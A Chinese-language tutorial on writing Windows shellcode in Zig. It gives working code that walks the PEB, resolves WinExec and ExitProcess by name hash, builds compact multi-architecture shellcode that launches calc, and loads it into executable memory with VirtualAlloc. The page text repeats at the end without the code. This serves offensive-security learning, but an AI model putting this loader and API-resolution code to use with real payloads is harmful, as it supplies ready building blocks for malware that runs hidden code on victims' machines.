用zig编写Windows的shellcode
字数 986 2025-08-24 16:48:16

使用Zig编写Windows Shellcode教学文档

1. 概述

本教程将详细介绍如何使用Zig语言(版本0.11.0)编写Windows平台的shellcode。与传统的汇编或C语言实现相比,Zig提供了更现代化的语言特性,如编译时反射、泛型等,可以更简洁高效地实现shellcode。

2. Shellcode基本原理

Windows下shellcode的通用流程:

  1. 通过PEB遍历获取DLL模块的地址
  2. 搜索DLL模块的导出表获取需要的API
  3. 通过API实现特定的功能

3. Zig实现Shellcode的关键技术

3.1 准备工作

3.1.1 获取PEB

std.os.windows.peb()

3.1.2 结构体定义

Zig的标准库std.os.windows中已经包含了许多Windows结构体定义,但需要补充与shellcode相关的两个部分:

  • PEB中的LDR_DATA_TABLE_ENTRY结构
  • PE格式相关的结构

3.2 PE地址转换

使用泛型实现RVA到VA的转换:

pub fn rva2va(comptime T: type, base: *const anyopaque, rva: usize) T {
    var ptr = @intFromPtr(base) + rva;
    return switch (@typeInfo(T)) {
        .Pointer => {
            return @as(T, @ptrFromInt(ptr));
        },
        .Int => {
            if (T != usize) {
                @compileError("expected usize, found '" ++ @typeName(T));
            }
            return @as(T, ptr);
        },
        else => {
            @compileError("expected pointer or int, found '" ++ @typeName(T));
        }
    };
}

3.3 Hash算法

为精简shellcode大小,使用类似Java String的hash算法来比较导出表函数名:

inline fn hashApi(api: []const u8) u32 {
    var h: u32 = 0x6c6c6a62; // iv for api hash
    for (api) |item| {
        // 0x20 for lowercase
        h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0];
    }
    return h;
}

3.4 API原型声明

声明需要的API函数原型,如WinExecExitProcess

const apiAddr = struct {
    const Self = @This();
    
    WinExec: ?*const fn (
        lpCmdLine: [*c]u8,
        UINT: windows.UINT,
    ) callconv(windows.WINAPI) windows.UINT = null,
    
    ExitProcess: ?*const fn (
        nExitCode: windows.LONG,
    ) callconv(windows.WINAPI) void = null,
    
    fn ok(self: *Self) bool {
        inline for (@typeInfo(apiAddr).Struct.fields) |field| {
            if (@field(self, field.name) == null) {
                return false;
            }
        }
        return true;
    }
};

4. 主要逻辑实现

4.1 遍历PEB获取DLL模块地址

fn getApi(apis: *apiAddr) bool {
    var peb = std.os.windows.peb();
    var ldr = peb.Ldr;
    var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
    
    while (dte.DllBase != null) : ({
        dte = @ptrCast(dte.InLoadOrderLinks.Flink);
    }) {
        findApi(apis, dte.DllBase.?);
        if (apis.ok()) {
            return true;
        }
    }
    return false;
}

4.2 搜索DLL导出表获取API

fn findApi(r: *apiAddr, inst: windows.PVOID) void {
    var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(inst));
    var nt = rva2va(*win32.IMAGE_NT_HEADERS, inst, @as(u32, @bitCast(dos.e_lfanew)));
    
    var rva = nt.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (rva == 0) {
        return;
    }
    
    var exp = rva2va(*win32.IMAGE_EXPORT_DIRECTORY, inst, rva);
    var cnt = exp.NumberOfNames;
    if (cnt == 0) {
        return;
    }
    
    var adr = rva2va([*c]u32, inst, exp.AddressOfFunctions);
    var sym = rva2va([*c]u32, inst, exp.AddressOfNames);
    var ord = rva2va([*c]u16, inst, exp.AddressOfNameOrdinals);
    
    var dll = sliceTo(rva2va([*c]u8, inst, exp.Name));
    std.log.debug("[i]{s}", .{dll});
    
    for (0..cnt) |i| {
        var sym_ = rva2va([*c]u8, inst, sym[i]);
        var adr_ = rva2va(usize, inst, adr[ord[i]]);
        var hash = hashApi(sliceTo(sym_));
        
        inline for (@typeInfo(apiAddr).Struct.fields) |field| {
            if (hash == comptime hashApi(field.name)) {
                @field(r, field.name) = @ptrFromInt(adr_);
                std.log.debug("[+]{s} at 0x{X}", .{ field.name, adr_ });
            }
        }
    }
}

4.3 辅助函数

inline fn sliceTo(buf: [*c]u8) []u8 {
    var len: usize = 0;
    while (buf[len] != 0) : ({ len += 1; }) {}
    return buf[0..len];
}

4.4 主功能实现

pub fn main() void {
    go();
}

pub export fn go() void {
    var apis = apiAddr{};
    if (!getApi(&apis)) {
        std.log.debug("[-]api not found");
        return;
    }
    
    std.log.debug("[+]find {d} api", .{@typeInfo(apiAddr).Struct.fields.len});
    
    var cmdline = "calc";
    apis.WinExec.?(&cmdline, 0);
    apis.ExitProcess.?(0);
}

pub export fn goEnd() void {}

5. 构建系统

5.1 构建测试程序

build.zig中配置多架构编译:

const std = @import("std");

pub fn build(b: *std.Build) void {
    const optimize = b.standardOptimizeOption(.{});
    
    inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
        const exe = b.addExecutable(.{
            .name = "test-" ++ t,
            .root_source_file = .{ .path = "src/main.zig" },
            .target = std.zig.CrossTarget.parse(.{
                .arch_os_abi = t ++ "-windows-gnu"
            }) catch unreachable,
            .optimize = optimize,
        });
        b.installArtifact(exe);
    }
}

5.2 提取Shellcode

build.zig中添加shellcode提取步骤:

const sc = b.step("sc", "Build ReleaseSmall shellcode");
{
    inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
        const dll = b.addSharedLibrary(.{
            .name = "sc-" ++ arch,
            .root_source_file = .{ .path = "src/main.zig" },
            .target = std.zig.CrossTarget.parse(.{
                .arch_os_abi = arch ++ "-windows-msvc"
            }) catch unreachable,
            .optimize = .ReleaseSmall,
        });
        
        const install = b.addInstallArtifact(dll, .{});
        const c = GenShellCode.create(b, install);
        sc.dependOn(&c.step);
    }
}

5.3 Shellcode加载器

实现一个简单的shellcode加载器:

const std = @import("std");
const os = std.os;
const fs = std.fs;
const path = fs.path;
const win = os.windows;

pub fn main() !void {
    const allocator = std.heap.page_allocator;
    var args = try std.process.argsAlloc(allocator);
    defer allocator.free(args);
    
    if (args.len == 1) {
        std.log.err("usage: {s} scpath", .{path.basename(args[0])});
        return;
    }
    
    var data = try fs.cwd().readFileAlloc(allocator, args[1], 1024 * 1024 * 1024);
    
    var ptr = try win.VirtualAlloc(
        null,
        data.len,
        win.MEM_COMMIT | win.MEM_RESERVE,
        win.PAGE_EXECUTE_READWRITE,
    );
    defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
    
    var buf: [*c]u8 = @ptrCast(ptr);
    @memcpy(buf[0..data.len], data);
    
    @as(*const fn () void, @ptrCast(@alignCast(ptr)))();
}

6. 优势总结

使用Zig实现shellcode相对于C有以下优势:

  1. 通过@typeInfo编译时反射,实现添加API声明后自动获取地址
  2. 通过comptime编译时关键字,实现自动生成API字符串hash
  3. 通过编写build.zig构建代码,实现自动提取x86、x86_64、aarch64三种架构shellcode
  4. 生成的shellcode大小约300字节,非常精简

7. 完整代码

完整实现代码可在以下仓库获取:
https://github.com/howmp/zigshellcode

使用Zig编写Windows Shellcode教学文档 1. 概述 本教程将详细介绍如何使用Zig语言(版本0.11.0)编写Windows平台的shellcode。与传统的汇编或C语言实现相比,Zig提供了更现代化的语言特性,如编译时反射、泛型等,可以更简洁高效地实现shellcode。 2. Shellcode基本原理 Windows下shellcode的通用流程: 通过PEB遍历获取DLL模块的地址 搜索DLL模块的导出表获取需要的API 通过API实现特定的功能 3. Zig实现Shellcode的关键技术 3.1 准备工作 3.1.1 获取PEB 3.1.2 结构体定义 Zig的标准库 std.os.windows 中已经包含了许多Windows结构体定义,但需要补充与shellcode相关的两个部分: PEB中的 LDR_DATA_TABLE_ENTRY 结构 PE格式相关的结构 3.2 PE地址转换 使用泛型实现RVA到VA的转换: 3.3 Hash算法 为精简shellcode大小,使用类似Java String的hash算法来比较导出表函数名: 3.4 API原型声明 声明需要的API函数原型,如 WinExec 和 ExitProcess : 4. 主要逻辑实现 4.1 遍历PEB获取DLL模块地址 4.2 搜索DLL导出表获取API 4.3 辅助函数 4.4 主功能实现 5. 构建系统 5.1 构建测试程序 在 build.zig 中配置多架构编译: 5.2 提取Shellcode 在 build.zig 中添加shellcode提取步骤: 5.3 Shellcode加载器 实现一个简单的shellcode加载器: 6. 优势总结 使用Zig实现shellcode相对于C有以下优势: 通过 @typeInfo 编译时反射,实现添加API声明后自动获取地址 通过 comptime 编译时关键字,实现自动生成API字符串hash 通过编写 build.zig 构建代码,实现自动提取x86、x86_ 64、aarch64三种架构shellcode 生成的shellcode大小约300字节,非常精简 7. 完整代码 完整实现代码可在以下仓库获取: https://github.com/howmp/zigshellcode